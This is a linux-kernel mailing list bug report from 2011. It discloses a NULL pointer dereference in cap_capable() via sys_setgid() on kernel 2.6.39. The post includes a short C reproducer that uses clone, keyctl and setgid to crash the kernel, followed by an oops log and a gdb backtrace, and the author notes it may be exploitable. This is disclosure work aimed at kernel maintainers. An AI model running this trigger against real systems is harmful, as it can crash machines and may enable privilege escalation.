linux-kernel - Re: Fwd: Oops (bad memory deref) in slab_alloc() due to filp

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Message-ID: <BANLkTin1zhuA3z61cBWwJws+P1-xA5bGZA@mail.gmail.com>
Date:	Tue, 24 May 2011 21:52:32 +0200
From:	Robert Święcki <robert@...ecki.net>
To:	linux-kernel@...r.kernel.org
Cc:	security@...nel.org, kees@...ntu.com,
	Tavis Ormandy <taviso@...xchg8b.com>
Subject: Re: Fwd: Oops (bad memory deref) in slab_alloc() due to filp_cachep
 holding incorrect values

And the repro - I think this might be exploitable (user-space NULL ptr
deref at the first glance, in cap_capable() while in sys_setgid()).
Works for me with 2.6.39 and the following config:
http://alt.swiecki.net/linux_kernel/ise-test-2.6.39-kernel-config.txt

It works for me with apparmor loaded, but looking at the code it
should work with SELinux as well (both call cap_capable()). Could be
some regression of http://securitytracker.com/id?1024384

It works with 2.6.39 but not with 2.6.39-rc4. Found with Tavis
Ormandy's http://code.google.com/p/iknowthis/

#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <linux/sched.h>

int TH1(void *dummy) {
	syscall(__NR_keyctl, KEYCTL_SESSION_TO_PARENT);
	syscall(__NR_exit, 0);
}

int main(int argc, char **argv)
{
	char stack[1024 * 32];
	pid_t pid = clone(TH1, stack + sizeof(stack), CLONE_VM, NULL);
	if (pid == -1) {
		perror("clone");
		return -1;
	}
	int status;
	while(waitpid(pid, &status, __WALL) != pid);
	setgid(4286409707);
	return 0;
}

Oops (stacktraces from the previous emails are also valid). Basically
'struct user_namespace *targ_ns' in cap_capable() is NULL.

[  288.431402] CPU 0
[  288.431402] Pid: 875, comm: apparmor Not tainted 2.6.39 #1 Dell
Inc.                 Precision WorkStation 390    /0GH911
[  288.431402] RIP: 0010:[<ffffffff8134cbdf>]  [<ffffffff8134cbdf>]
cap_capable+0x18/0x67
[  288.431402] RSP: 0018:ffff880120d43ec8  EFLAGS: 00010203
[  288.431402] RAX: ffff8801220ee0c0 RBX: 0000000000000001 RCX: 0000000000000006
[  288.431402] RDX: 0000000000000000 RSI: ffff880120ebb600 RDI: 0000000000000006
[  288.431402] RBP: ffff880120d43ec8 R08: 0000000000000001 R09: 000000000000005a
[  288.431402] R10: ffffffff813d42ea R11: 0000000000000246 R12: ffff880120ebb600
[  288.431402] R13: 0000000000000006 R14: ffff8801205aaee0 R15: 0000000000000000
[  288.431402] FS:  00007f919efc2720(0000) GS:ffff88012bc00000(0000)
knlGS:0000000000000000
[  288.431402] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[  288.431402] CR2: 0000000000000408 CR3: 00000001205de000 CR4: 00000000000006f0
[  288.431402] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  288.431402] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[  288.431402] Process apparmor (pid: 875, threadinfo
ffff880120d42000, task ffff8801205aaee0)
[  288.431402] Stack:
[  288.431402]  ffff880120d43f08 ffffffff81378bfb ffff880120d43ee8
ffff8801205aaee0
[  288.431402]  00000000ff7d6beb ffff880120ebb600 0000000000000000
0000000000000000
[  288.431402]  ffff880120d43f18 ffffffff8134d932 ffff880120d43f38
ffffffff8109d99d
[  288.431402] Call Trace:
[  288.431402]  [<ffffffff81378bfb>] apparmor_capable+0x27/0x61
[  288.431402]  [<ffffffff8134d932>] security_capable+0x2a/0x2c
[  288.431402]  [<ffffffff8109d99d>] ns_capable+0x3a/0x4f
[  288.431402]  [<ffffffff8109da2b>] nsown_capable+0x24/0x29
[  288.431402]  [<ffffffff810a6695>] sys_setgid+0x43/0x8d
[  288.431402]  [<ffffffff81ed4902>] system_call_fastpath+0x16/0x1b
[  288.431402] Code: c1 fe 05 d3 e0 48 63 f6 23 44 b2 38 c9 83 f8 01
19 c0 c3 55 48 89 e5 0f 1f 44 00 00 89 cf 48 81 fa f0 16 a2 82 74 0d
48 8b 46 70
[  288.431402]  39 82 08 04 00 00 74 3d 48 8b 46 70 48 3b 50 60 75 1d 89 f9
[  288.431402] RIP  [<ffffffff8134cbdf>] cap_capable+0x18/0x67
[  288.431402]  RSP <ffff880120d43ec8>
[  288.431402] CR2: 0000000000000408

(gdb) bt
#0  0xffffffff8134cbdf in cap_capable (tsk=<value optimized out>,
cred=0x0, targ_ns=0x0, cap=6, audit=1) at security/commoncap.c:88
#1  0xffffffff81378bfb in apparmor_capable (task=0xffff880120e3aee0,
cred=0xffff88011f540500, ns=<value optimized out>, cap=6, audit=1) at
security/apparmor/lsm.c:144
#2  0xffffffff8134d932 in security_capable (ns=<value optimized out>,
cred=<value optimized out>, cap=<value optimized out>) at
security/security.c:160
#3  0xffffffff8109d99d in ns_capable (ns=<value optimized out>,
cap=<value optimized out>) at kernel/capability.c:381
#4  0xffffffff8109da2b in nsown_capable (cap=<value optimized out>) at
kernel/capability.c:412
#5  0xffffffff810a6695 in sys_setgid (gid=1540) at kernel/sys.c:570
#6  0xffffffff810c1e11 in sys_setgid16 (gid=<value optimized out>) at
kernel/uid16.c:53

-- 
Robert Święcki
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